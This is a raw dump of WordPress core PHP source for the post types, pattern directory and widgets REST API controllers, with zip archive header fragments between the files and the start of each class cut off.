filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php */ return apply_filters( 'rest_prepare_post_type', new WP_REST_Response( array() ), $post_type, $request ); } $taxonomies = wp_list_filter( get_object_taxonomies( $post_type->name, 'objects' ), array( 'show_in_rest' => true ) ); $taxonomies = wp_list_pluck( $taxonomies, 'name' ); $base = ! empty( $post_type->rest_base ) ? $post_type->rest_base : $post_type->name; $namespace = ! empty( $post_type->rest_namespace ) ? $post_type->rest_namespace : 'wp/v2'; $supports = get_all_post_type_supports( $post_type->name ); $fields = $this->get_fields_for_response( $request ); $data = array(); if ( rest_is_field_included( 'capabilities', $fields ) ) { $data['capabilities'] = $post_type->cap; } if ( rest_is_field_included( 'description', $fields ) ) { $data['description'] = $post_type->description; } if ( rest_is_field_included( 'hierarchical', $fields ) ) { $data['hierarchical'] = $post_type->hierarchical; } if ( rest_is_field_included( 'has_archive', $fields ) ) { $data['has_archive'] = $post_type->has_archive; } if ( rest_is_field_included( 'visibility', $fields ) ) { $data['visibility'] = array( 'show_in_nav_menus' => (bool) $post_type->show_in_nav_menus, 'show_ui' => (bool) $post_type->show_ui, ); } if ( rest_is_field_included( 'viewable', $fields ) ) { $data['viewable'] = is_post_type_viewable( $post_type ); } if ( rest_is_field_included( 'labels', $fields ) ) { $data['labels'] = $post_type->labels; } if ( rest_is_field_included( 'name', $fields ) ) { $data['name'] = $post_type->label; } if ( rest_is_field_included( 'slug', $fields ) ) { $data['slug'] = $post_type->name; } if ( rest_is_field_included( 'icon', $fields ) ) { $data['icon'] = $post_type->menu_icon; } if ( rest_is_field_included( 'supports', $fields ) ) { $data['supports'] = $supports; } if ( rest_is_field_included( 'taxonomies', $fields ) ) { $data['taxonomies'] = array_values( $taxonomies ); } if ( rest_is_field_included( 'rest_base', $fields ) ) { $data['rest_base'] = $base; } if ( rest_is_field_included( 'rest_namespace', $fields ) ) { $data['rest_namespace'] = $namespace; } if ( rest_is_field_included( 'template', $fields ) ) { $data['template'] = $post_type->template ?? array(); } if ( rest_is_field_included( 'template_lock', $fields ) ) { $data['template_lock'] = ! empty( $post_type->template_lock ) ? $post_type->template_lock : false; } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); // Wrap the data in a response object. $response = rest_ensure_response( $data ); if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) { $response->add_links( $this->prepare_links( $post_type ) ); } /** * Filters a post type returned from the REST API. * * Allows modification of the post type data right before it is returned. * * @since 4.7.0 * * @param WP_REST_Response $response The response object. * @param WP_Post_Type $post_type The original post type object. * @param WP_REST_Request $request Request used to generate the response. */ return apply_filters( 'rest_prepare_post_type', $response, $post_type, $request ); } /** * Prepares links for the request. * * @since 6.1.0 * * @param WP_Post_Type $post_type The post type. * @return array Links for the given post type. */ protected function prepare_links( $post_type ) { return array( 'collection' => array( 'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ), ), 'https://api.w.org/items' => array( 'href' => rest_url( rest_get_route_for_post_type_items( $post_type->name ) ), ), ); } /** * Retrieves the post type's schema, conforming to JSON Schema. * * @since 4.7.0 * @since 4.8.0 The `supports` property was added. * @since 5.9.0 The `visibility` and `rest_namespace` properties were added. * @since 6.1.0 The `icon` property was added. * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'type', 'type' => 'object', 'properties' => array( 'capabilities' => array( 'description' => __( 'All capabilities used by the post type.' ), 'type' => 'object', 'context' => array( 'edit' ), 'readonly' => true, ), 'description' => array( 'description' => __( 'A human-readable description of the post type.' ), 'type' => 'string', 'context' => array( 'view', 'edit' ), 'readonly' => true, ), 'hierarchical' => array( 'description' => __( 'Whether or not the post type should have children.' ), 'type' => 'boolean', 'context' => array( 'view', 'edit' ), 'readonly' => true, ), 'viewable' => array( 'description' => __( 'Whether or not the post type can be viewed.' ), 'type' => 'boolean', 'context' => array( 'edit' ), 'readonly' => true, ), 'labels' => array( 'description' => __( 'Human-readable labels for the post type for various contexts.' ), 'type' => 'object', 'context' => array( 'edit' ), 'readonly' => true, ), 'name' => array( 'description' => __( 'The title for the post type.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'slug' => array( 'description' => __( 'An alphanumeric identifier for the post type.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'supports' => array( 'description' => __( 'All features, supported by the post type.' ), 'type' => 'object', 'context' => array( 'edit' ), 'readonly' => true, ), 'has_archive' => array( 'description' => __( 'If the value is a string, the value will be used as the archive slug. If the value is false the post type has no archive.' ), 'type' => array( 'string', 'boolean' ), 'context' => array( 'view', 'edit' ), 'readonly' => true, ), 'taxonomies' => array( 'description' => __( 'Taxonomies associated with post type.' ), 'type' => 'array', 'items' => array( 'type' => 'string', ), 'context' => array( 'view', 'edit' ), 'readonly' => true, ), 'rest_base' => array( 'description' => __( 'REST base route for the post type.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'rest_namespace' => array( 'description' => __( 'REST route\'s namespace for the post type.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'visibility' => array( 'description' => __( 'The visibility settings for the post type.' ), 'type' => 'object', 'context' => array( 'edit' ), 'readonly' => true, 'properties' => array( 'show_ui' => array( 'description' => __( 'Whether to generate a default UI for managing this post type.' ), 'type' => 'boolean', ), 'show_in_nav_menus' => array( 'description' => __( 'Whether to make the post type available for selection in navigation menus.' ), 'type' => 'boolean', ), ), ), 'icon' => array( 'description' => __( 'The icon for the post type.' ), 'type' => array( 'string', 'null' ), 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'template' => array( 'type' => array( 'array' ), 'description' => __( 'The block template associated with the post type.' ), 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), 'template_lock' => array( 'type' => array( 'string', 'boolean' ), 'enum' => array( 'all', 'insert', 'contentOnly', false ), 'description' => __( 'The template_lock associated with the post type, or false if none.' ), 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), ), ); $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } /** * Retrieves the query params for collections. * * @since 4.7.0 * * @return array Collection parameters. */ public function get_collection_params() { return array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ); } } PK!^yP2P2.class-wp-rest-pattern-directory-controller.phpnu[namespace = 'wp/v2'; $this->rest_base = 'pattern-directory'; } /** * Registers the necessary REST API routes. * * @since 5.8.0 */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base . '/patterns', array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Checks whether a given request has permission to view the local block pattern directory. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has permission, WP_Error object otherwise. */ public function get_items_permissions_check( $request ) { if ( current_user_can( 'edit_posts' ) ) { return true; } foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) { if ( current_user_can( $post_type->cap->edit_posts ) ) { return true; } } return new WP_Error( 'rest_pattern_directory_cannot_view', __( 'Sorry, you are not allowed to browse the local block pattern directory.' ), array( 'status' => rest_authorization_required_code() ) ); } /** * Search and retrieve block patterns metadata * * @since 5.8.0 * @since 6.0.0 Added 'slug' to request. * @since 6.2.0 Added 'per_page', 'page', 'offset', 'order', and 'orderby' to request. * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { $valid_query_args = array( 'offset' => true, 'order' => true, 'orderby' => true, 'page' => true, 'per_page' => true, 'search' => true, 'slug' => true, ); $query_args = array_intersect_key( $request->get_params(), $valid_query_args ); $query_args['locale'] = get_user_locale(); $query_args['wp-version'] = wp_get_wp_version(); $query_args['pattern-categories'] = $request['category'] ?? false; $query_args['pattern-keywords'] = $request['keyword'] ?? false; $query_args = array_filter( $query_args ); $transient_key = $this->get_transient_key( $query_args ); /* * Use network-wide transient to improve performance. The locale is the only site * configuration that affects the response, and it's included in the transient key. */ $raw_patterns = get_site_transient( $transient_key ); if ( ! $raw_patterns ) { $api_url = 'http://api.wordpress.org/patterns/1.0/?' . build_query( $query_args ); if ( wp_http_supports( array( 'ssl' ) ) ) { $api_url = set_url_scheme( $api_url, 'https' ); } /* * Default to a short TTL, to mitigate cache stampedes on high-traffic sites. * This assumes that most errors will be short-lived, e.g., packet loss that causes the * first request to fail, but a follow-up one will succeed. The value should be high * enough to avoid stampedes, but low enough to not interfere with users manually * re-trying a failed request. */ $cache_ttl = 5; $wporg_response = wp_remote_get( $api_url ); $raw_patterns = json_decode( wp_remote_retrieve_body( $wporg_response ) ); if ( is_wp_error( $wporg_response ) ) { $raw_patterns = $wporg_response; } elseif ( ! is_array( $raw_patterns ) ) { // HTTP request succeeded, but response data is invalid. $raw_patterns = new WP_Error( 'pattern_api_failed', sprintf( /* translators: %s: Support forums URL. */ __( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server’s configuration. If you continue to have problems, please try the support forums.' ), __( 'https://wordpress.org/support/forums/' ) ), array( 'response' => wp_remote_retrieve_body( $wporg_response ), ) ); } else { // Response has valid data. $cache_ttl = HOUR_IN_SECONDS; } set_site_transient( $transient_key, $raw_patterns, $cache_ttl ); } if ( is_wp_error( $raw_patterns ) ) { $raw_patterns->add_data( array( 'status' => 500 ) ); return $raw_patterns; } if ( $request->is_method( 'HEAD' ) ) { // Return early as this handler doesn't add any response headers. return new WP_REST_Response( array() ); } $response = array(); if ( $raw_patterns ) { foreach ( $raw_patterns as $pattern ) { $response[] = $this->prepare_response_for_collection( $this->prepare_item_for_response( $pattern, $request ) ); } } return new WP_REST_Response( $response ); } /** * Prepare a raw block pattern before it gets output in a REST API response. * * @since 5.8.0 * @since 5.9.0 Renamed `$raw_pattern` to `$item` to match parent class for PHP 8 named parameter support. * * @param object $item Raw pattern from api.wordpress.org, before any changes. * @param WP_REST_Request $request Request object. * @return WP_REST_Response */ public function prepare_item_for_response( $item, $request ) { // Restores the more descriptive, specific name for use within this method. $raw_pattern = $item; $prepared_pattern = array( 'id' => absint( $raw_pattern->id ), 'title' => sanitize_text_field( $raw_pattern->title->rendered ), 'content' => wp_kses_post( $raw_pattern->pattern_content ), 'categories' => array_map( 'sanitize_title', $raw_pattern->category_slugs ), 'keywords' => array_map( 'sanitize_text_field', explode( ',', $raw_pattern->meta->wpop_keywords ) ), 'description' => sanitize_text_field( $raw_pattern->meta->wpop_description ), 'viewport_width' => absint( $raw_pattern->meta->wpop_viewport_width ), 'block_types' => array_map( 'sanitize_text_field', $raw_pattern->meta->wpop_block_types ), ); $prepared_pattern = $this->add_additional_fields_to_object( $prepared_pattern, $request ); $response = new WP_REST_Response( $prepared_pattern ); /** * Filters the REST API response for a block pattern. * * @since 5.8.0 * * @param WP_REST_Response $response The response object. * @param object $raw_pattern The unprepared block pattern. * @param WP_REST_Request $request The request object. */ return apply_filters( 'rest_prepare_block_pattern', $response, $raw_pattern, $request ); } /** * Retrieves the block pattern's schema, conforming to JSON Schema. * * @since 5.8.0 * @since 6.2.0 Added `'block_types'` to schema. * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $this->schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'pattern-directory-item', 'type' => 'object', 'properties' => array( 'id' => array( 'description' => __( 'The pattern ID.' ), 'type' => 'integer', 'minimum' => 1, 'context' => array( 'view', 'edit', 'embed' ), ), 'title' => array( 'description' => __( 'The pattern title, in human readable format.' ), 'type' => 'string', 'minLength' => 1, 'context' => array( 'view', 'edit', 'embed' ), ), 'content' => array( 'description' => __( 'The pattern content.' ), 'type' => 'string', 'minLength' => 1, 'context' => array( 'view', 'edit', 'embed' ), ), 'categories' => array( 'description' => __( "The pattern's category slugs." ), 'type' => 'array', 'uniqueItems' => true, 'items' => array( 'type' => 'string' ), 'context' => array( 'view', 'edit', 'embed' ), ), 'keywords' => array( 'description' => __( "The pattern's keywords." ), 'type' => 'array', 'uniqueItems' => true, 'items' => array( 'type' => 'string' ), 'context' => array( 'view', 'edit', 'embed' ), ), 'description' => array( 'description' => __( 'A description of the pattern.' ), 'type' => 'string', 'minLength' => 1, 'context' => array( 'view', 'edit', 'embed' ), ), 'viewport_width' => array( 'description' => __( 'The preferred width of the viewport when previewing a pattern, in pixels.' ), 'type' => 'integer', 'context' => array( 'view', 'edit', 'embed' ), ), 'block_types' => array( 'description' => __( 'The block types which can use this pattern.' ), 'type' => 'array', 'uniqueItems' => true, 'items' => array( 'type' => 'string' ), 'context' => array( 'view', 'embed' ), ), ), ); return $this->add_additional_fields_schema( $this->schema ); } /** * Retrieves the search parameters for the block pattern's collection. * * @since 5.8.0 * @since 6.2.0 Added 'per_page', 'page', 'offset', 'order', and 'orderby' to request. * * @return array Collection parameters. */ public function get_collection_params() { $query_params = parent::get_collection_params(); $query_params['per_page']['default'] = 100; $query_params['search']['minLength'] = 1; $query_params['context']['default'] = 'view'; $query_params['category'] = array( 'description' => __( 'Limit results to those matching a category ID.' ), 'type' => 'integer', 'minimum' => 1, ); $query_params['keyword'] = array( 'description' => __( 'Limit results to those matching a keyword ID.' ), 'type' => 'integer', 'minimum' => 1, ); $query_params['slug'] = array( 'description' => __( 'Limit results to those matching a pattern (slug).' ), 'type' => 'array', ); $query_params['offset'] = array( 'description' => __( 'Offset the result set by a specific number of items.' ), 'type' => 'integer', ); $query_params['order'] = array( 'description' => __( 'Order sort attribute ascending or descending.' ), 'type' => 'string', 'default' => 'desc', 'enum' => array( 'asc', 'desc' ), ); $query_params['orderby'] = array( 'description' => __( 'Sort collection by post attribute.' ), 'type' => 'string', 'default' => 'date', 'enum' => array( 'author', 'date', 'id', 'include', 'modified', 'parent', 'relevance', 'slug', 'include_slugs', 'title', 'favorite_count', ), ); /** * Filter collection parameters for the block pattern directory controller. * * @since 5.8.0 * * @param array $query_params JSON Schema-formatted collection parameters. */ return apply_filters( 'rest_pattern_directory_collection_params', $query_params ); } /** * Include a hash of the query args, so that different requests are stored in * separate caches. * * MD5 is chosen for its speed, low-collision rate, universal availability, and to stay * under the character limit for `_site_transient_timeout_{...}` keys. * * @link https://stackoverflow.com/questions/3665247/fastest-hash-for-non-cryptographic-uses * * @since 6.0.0 * * @param array $query_args Query arguments to generate a transient key from. * @return string Transient key. */ protected function get_transient_key( $query_args ) { if ( isset( $query_args['slug'] ) ) { // This is an additional precaution because the "sort" function expects an array. $query_args['slug'] = wp_parse_list( $query_args['slug'] ); // Empty arrays should not affect the transient key. if ( empty( $query_args['slug'] ) ) { unset( $query_args['slug'] ); } else { // Sort the array so that the transient key doesn't depend on the order of slugs. sort( $query_args['slug'] ); } } return 'wp_remote_block_patterns_' . md5( serialize( $query_args ) ); } } PK!hh$class-wp-rest-widgets-controller.phpnu[ true ); /** * Widgets controller constructor. * * @since 5.8.0 */ public function __construct() { $this->namespace = 'wp/v2'; $this->rest_base = 'widgets'; } /** * Registers the widget routes for the controller. * * @since 5.8.0 */ public function register_routes() { register_rest_route( $this->namespace, $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), array( 'methods' => WP_REST_Server::CREATABLE, 'callback' => array( $this, 'create_item' ), 'permission_callback' => array( $this, 'create_item_permissions_check' ), 'args' => $this->get_endpoint_args_for_item_schema(), ), 'allow_batch' => $this->allow_batch, 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, $this->rest_base . '/(?P[\w\-]+)', array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), 'args' => array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ), ), array( 'methods' => WP_REST_Server::EDITABLE, 'callback' => array( $this, 'update_item' ), 'permission_callback' => array( $this, 'update_item_permissions_check' ), 'args' => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ), ), array( 'methods' => WP_REST_Server::DELETABLE, 'callback' => array( $this, 'delete_item' ), 'permission_callback' => array( $this, 'delete_item_permissions_check' ), 'args' => array( 'force' => array( 'description' => __( 'Whether to force removal of the widget, or move it to the inactive sidebar.' ), 'type' => 'boolean', ), ), ), 'allow_batch' => $this->allow_batch, 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Checks if a given request has access to get widgets. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_items_permissions_check( $request ) { $this->retrieve_widgets(); if ( isset( $request['sidebar'] ) && $this->check_read_sidebar_permission( $request['sidebar'] ) ) { return true; } foreach ( wp_get_sidebars_widgets() as $sidebar_id => $widget_ids ) { if ( $this->check_read_sidebar_permission( $sidebar_id ) ) { return true; } } return $this->permissions_check( $request ); } /** * Retrieves a collection of widgets. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response Response object. */ public function get_items( $request ) { if ( $request->is_method( 'HEAD' ) ) { // Return early as this handler doesn't add any response headers. return new WP_REST_Response( array() ); } $this->retrieve_widgets(); $prepared = array(); $permissions_check = $this->permissions_check( $request ); foreach ( wp_get_sidebars_widgets() as $sidebar_id => $widget_ids ) { if ( isset( $request['sidebar'] ) && $sidebar_id !== $request['sidebar'] ) { continue; } if ( is_wp_error( $permissions_check ) && ! $this->check_read_sidebar_permission( $sidebar_id ) ) { continue; } foreach ( $widget_ids as $widget_id ) { $response = $this->prepare_item_for_response( compact( 'sidebar_id', 'widget_id' ), $request ); if ( ! is_wp_error( $response ) ) { $prepared[] = $this->prepare_response_for_collection( $response ); } } } return new WP_REST_Response( $prepared ); } /** * Checks if a given request has access to get a widget. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_item_permissions_check( $request ) { $this->retrieve_widgets(); $widget_id = $request['id']; $sidebar_id = wp_find_widgets_sidebar( $widget_id ); if ( $sidebar_id && $this->check_read_sidebar_permission( $sidebar_id ) ) { return true; } return $this->permissions_check( $request ); } /** * Checks if a sidebar can be read publicly. * * @since 5.9.0 * * @param string $sidebar_id The sidebar ID. * @return bool Whether the sidebar can be read. */ protected function check_read_sidebar_permission( $sidebar_id ) { $sidebar = wp_get_sidebar( $sidebar_id ); return ! empty( $sidebar['show_in_rest'] ); } /** * Gets an individual widget. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_item( $request ) { $this->retrieve_widgets(); $widget_id = $request['id']; $sidebar_id = wp_find_widgets_sidebar( $widget_id ); if ( is_null( $sidebar_id ) ) { return new WP_Error( 'rest_widget_not_found', __( 'No widget was found with that id.' ), array( 'status' => 404 ) ); } return $this->prepare_item_for_response( compact( 'widget_id', 'sidebar_id' ), $request ); } /** * Checks if a given request has access to create widgets. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function create_item_permissions_check( $request ) { return $this->permissions_check( $request ); } /** * Creates a widget. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function create_item( $request ) { $sidebar_id = $request['sidebar']; $widget_id = $this->save_widget( $request, $sidebar_id ); if ( is_wp_error( $widget_id ) ) { return $widget_id; } wp_assign_widget_to_sidebar( $widget_id, $sidebar_id ); $request['context'] = 'edit'; $response = $this->prepare_item_for_response( compact( 'sidebar_id', 'widget_id' ), $request ); if ( is_wp_error( $response ) ) { return $response; } $response->set_status( 201 ); return $response; } /** * Checks if a given request has access to update widgets. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function update_item_permissions_check( $request ) { return $this->permissions_check( $request ); } /** * Updates an existing widget. * * @since 5.8.0 * * @global WP_Widget_Factory $wp_widget_factory * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function update_item( $request ) { global $wp_widget_factory; /* * retrieve_widgets() contains logic to move "hidden" or "lost" widgets to the * wp_inactive_widgets sidebar based on the contents of the $sidebars_widgets global. * * When batch requests are processed, this global is not properly updated by previous * calls, resulting in widgets incorrectly being moved to the wp_inactive_widgets * sidebar. * * See https://core.trac.wordpress.org/ticket/53657. */ wp_get_sidebars_widgets(); $this->retrieve_widgets(); $widget_id = $request['id']; $sidebar_id = wp_find_widgets_sidebar( $widget_id ); // Allow sidebar to be unset or missing when widget is not a WP_Widget. $parsed_id = wp_parse_widget_id( $widget_id ); $widget_object = $wp_widget_factory->get_widget_object( $parsed_id['id_base'] ); if ( is_null( $sidebar_id ) && $widget_object ) { return new WP_Error( 'rest_widget_not_found', __( 'No widget was found with that id.' ), array( 'status' => 404 ) ); } if ( $request->has_param( 'instance' ) || $request->has_param( 'form_data' ) ) { $maybe_error = $this->save_widget( $request, $sidebar_id ); if ( is_wp_error( $maybe_error ) ) { return $maybe_error; } } if ( $request->has_param( 'sidebar' ) ) { if ( $sidebar_id !== $request['sidebar'] ) { $sidebar_id = $request['sidebar']; wp_assign_widget_to_sidebar( $widget_id, $sidebar_id ); } } $request['context'] = 'edit'; return $this->prepare_item_for_response( compact( 'widget_id', 'sidebar_id' ), $request ); } /** * Checks if a given request has access to delete widgets. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function delete_item_permissions_check( $request ) { return $this->permissions_check( $request ); } /** * Deletes a widget. * * @since 5.8.0 * * @global WP_Widget_Factory $wp_widget_factory * @global array $wp_registered_widget_updates The registered widget update functions. * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function delete_item( $request ) { global $wp_widget_factory, $wp_registered_widget_updates; /* * retrieve_widgets() contains logic to move "hidden" or "lost" widgets to the * wp_inactive_widgets sidebar based on the contents of the $sidebars_widgets global. * * When batch requests are processed, this global is not properly updated by previous * calls, resulting in widgets incorrectly being moved to the wp_inactive_widgets * sidebar. * * See https://core.trac.wordpress.org/ticket/53657. */ wp_get_sidebars_widgets(); $this->retrieve_widgets(); $widget_id = $request['id']; $sidebar_id = wp_find_widgets_sidebar( $widget_id ); if ( is_null( $sidebar_id ) ) { return new WP_Error( 'rest_widget_not_found', __( 'No widget was found with that id.' ), array( 'status' => 404 ) ); } $request['context'] = 'edit'; if ( $request['force'] ) { $response = $this->prepare_item_for_response( compact( 'widget_id', 'sidebar_id' ), $request ); $parsed_id = wp_parse_widget_id( $widget_id ); $id_base = $parsed_id['id_base']; $original_post = $_POST; $original_request = $_REQUEST; $_POST = array( 'sidebar' => $sidebar_id, "widget-$id_base" => array(), 'the-widget-id' => $widget_id, 'delete_widget' => '1', ); $_REQUEST = $_POST; /** This action is documented in wp-admin/widgets-form.php */ do_action( 'delete_widget', $widget_id, $sidebar_id, $id_base ); $callback = $wp_registered_widget_updates[ $id_base ]['callback']; $params = $wp_registered_widget_updates[ $id_base ]['params']; if ( is_callable( $callback ) ) { ob_start(); call_user_func_array( $callback, $params ); ob_end_clean(); } $_POST = $original_post; $_REQUEST = $original_request; $widget_object = $wp_widget_factory->get_widget_object( $id_base ); if ( $widget_object ) { /* * WP_Widget sets `updated = true` after an update to prevent more than one widget * from being saved per request. This isn't what we want in the REST API, though, * as we support batch requests. */ $widget_object->updated = false; } wp_assign_widget_to_sidebar( $widget_id, '' ); $response->set_data( array( 'deleted' => true, 'previous' => $response->get_data(), ) ); } else { wp_assign_widget_to_sidebar( $widget_id, 'wp_inactive_widgets' ); $response = $this->prepare_item_for_response( array( 'sidebar_id' => 'wp_inactive_widgets', 'widget_id' => $widget_id, ), $request ); } /** * Fires after a widget is deleted via the REST API. * * @since 5.8.0 * * @param string $widget_id ID of the widget marked for deletion. * @param string $sidebar_id ID of the sidebar the widget was deleted from. * @param WP_REST_Response|WP_Error $response The response data, or WP_Error object on failure. * @param WP_REST_Request $request The request sent to the API. */ do_action( 'rest_delete_widget', $widget_id, $sidebar_id, $response, $request ); return $response; } /** * Performs a permissions check for managing widgets. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error */ protected function permissions_check( $request ) { if ( ! current_user_can( 'edit_theme_options' ) ) { return new WP_Error( 'rest_cannot_manage_widgets', __( 'Sorry, you are not allowed to manage widgets on this site.' ), array( 'status' => rest_authorization_required_code(), ) ); } return true; } /** * Looks for "lost" widgets once per request. * * @since 5.9.0 * * @see retrieve_widgets() */ protected function retrieve_widgets() { if ( ! $this->widgets_retrieved ) { retrieve_widgets(); $this->widgets_retrieved = true; } } /** * Saves the widget in the request object. * * @since 5.8.0 * * @global WP_Widget_Factory $wp_widget_factory * @global array $wp_registered_widget_updates The registered widget update functions. * * @param WP_REST_Request $request Full details about the request. * @param string $sidebar_id ID of the sidebar the widget belongs to. * @return string|WP_Error The saved widget ID. */ protected function save_widget( $request, $sidebar_id ) { global $wp_widget_factory, $wp_registered_widget_updates; require_once ABSPATH . 'wp-admin/includes/widgets.php'; // For next_widget_id_number(). if ( isset( $request['id'] ) ) { // Saving an existing widget. $id = $request['id']; $parsed_id = wp_parse_widget_id( $id ); $id_base = $parsed_id['id_base']; $number = $parsed_id['number'] ?? null; $widget_object = $wp_widget_factory->get_widget_object( $id_base ); $creating = false; } elseif ( $request['id_base'] ) { // Saving a new widget. $id_base = $request['id_base']; $widget_object = $wp_widget_factory->get_widget_object( $id_base ); $number = $widget_object ? next_widget_id_number( $id_base ) : null; $id = $widget_object ? $id_base . '-' . $number : $id_base; $creating = true; } else { return new WP_Error( 'rest_invalid_widget', __( 'Widget type (id_base) is required.' ), array( 'status' => 400 ) ); } if ( ! isset( $wp_registered_widget_updates[ $id_base ] ) ) { return new WP_Error( 'rest_invalid_widget', __( 'The provided widget type (id_base) cannot be updated.' ), array( 'status' => 400 ) ); } if ( isset( $request['instance'] ) ) { if ( ! $widget_object ) { return new WP_Error( 'rest_invalid_widget', __( 'Cannot set instance on a widget that does not extend WP_Widget.' ), array( 'status' => 400 ) ); } if ( isset( $request['instance']['raw'] ) ) { if ( empty( $widget_object->widget_options['show_instance_in_rest'] ) ) { return new WP_Error( 'rest_invalid_widget', __( 'Widget type does not support raw instances.' ), array( 'status' => 400 ) ); } $instance = $request['instance']['raw']; } elseif ( isset( $request['instance']['encoded'], $request['instance']['hash'] ) ) { $serialized_instance = base64_decode( $request['instance']['encoded'] ); if ( ! hash_equals( wp_hash( $serialized_instance ), $request['instance']['hash'] ) ) { return new WP_Error( 'rest_invalid_widget', __( 'The provided instance is malformed.' ), array( 'status' => 400 ) ); } $instance = unserialize( $serialized_instance ); } else { return new WP_Error( 'rest_invalid_widget', __( 'The provided instance is invalid. Must contain raw OR encoded and hash.' ), array( 'status' => 400 ) ); } $form_data = array( "widget-$id_base" => array( $number => $instance, ), 'sidebar' => $sidebar_id, ); } elseif ( isset( $request['form_data'] ) ) { $form_data = $request['form_data']; } else { $form_data = array(); } $original_post = $_POST; $original_request = $_REQUEST; foreach ( $form_data as $key => $value ) { $slashed_value = wp_slash( $value ); $_POST[ $key ] = $slashed_value; $_REQUEST[ $key ] = $slashed_value; } $callback = $wp_registered_widget_updates[ $id_base ]['callback']; $params = $wp_registered_widget_updates[ $id_base ]['params']; if ( is_callable( $callback ) ) { ob_start(); call_user_func_array( $callback, $params ); ob_end_clean(); } $_POST = $original_post; $_REQUEST = $original_request; if ( $widget_object ) { // Register any multi-widget that the update callback just created. $widget_object->_set( $number ); $widget_object->_register_one( $number ); /* * WP_Widget sets `updated = true` after an update to prevent more than one widget * from being saved per request. This isn't what we want in the REST API, though, * as we support batch requests. */ $widget_object->updated = false; } /** * Fires after a widget is created or updated via the REST API. * * @since 5.8.0 * * @param string $id ID of the widget being saved. * @param string $sidebar_id ID of the sidebar containing the widget being saved. * @param WP_REST_Request $request Request object. * @param bool $creating True when creating a widget, false when updating. */ do_action( 'rest_after_save_widget', $id, $sidebar_id, $request, $creating ); return $id; } /** * Prepares the widget for the REST response. * * @since 5.8.0 * * @global WP_Widget_Factory $wp_widget_factory * @global array $wp_registered_widgets The registered widgets. * * @param array $item An array containing a widget_id and sidebar_id. * @param WP_REST_Request $request Request object. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function prepare_item_for_response( $item, $request ) { global $wp_widget_factory, $wp_registered_widgets; $widget_id = $item['widget_id']; $sidebar_id = $item['sidebar_id']; if ( ! isset( $wp_registered_widgets[ $widget_id ] ) ) { return new WP_Error( 'rest_invalid_widget', __( 'The requested widget is invalid.' ), array( 'status' => 500 ) ); } $widget = $wp_registered_widgets[ $widget_id ]; // Don't prepare the response body for HEAD requests. if ( $request->is_method( 'HEAD' ) ) { /** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php */ return apply_filters( 'rest_prepare_widget', new WP_REST_Response( array() ), $widget, $request ); } $parsed_id = wp_parse_widget_id( $widget_id ); $fields = $this->get_fields_for_response( $request ); $prepared = array( 'id' => $widget_id, 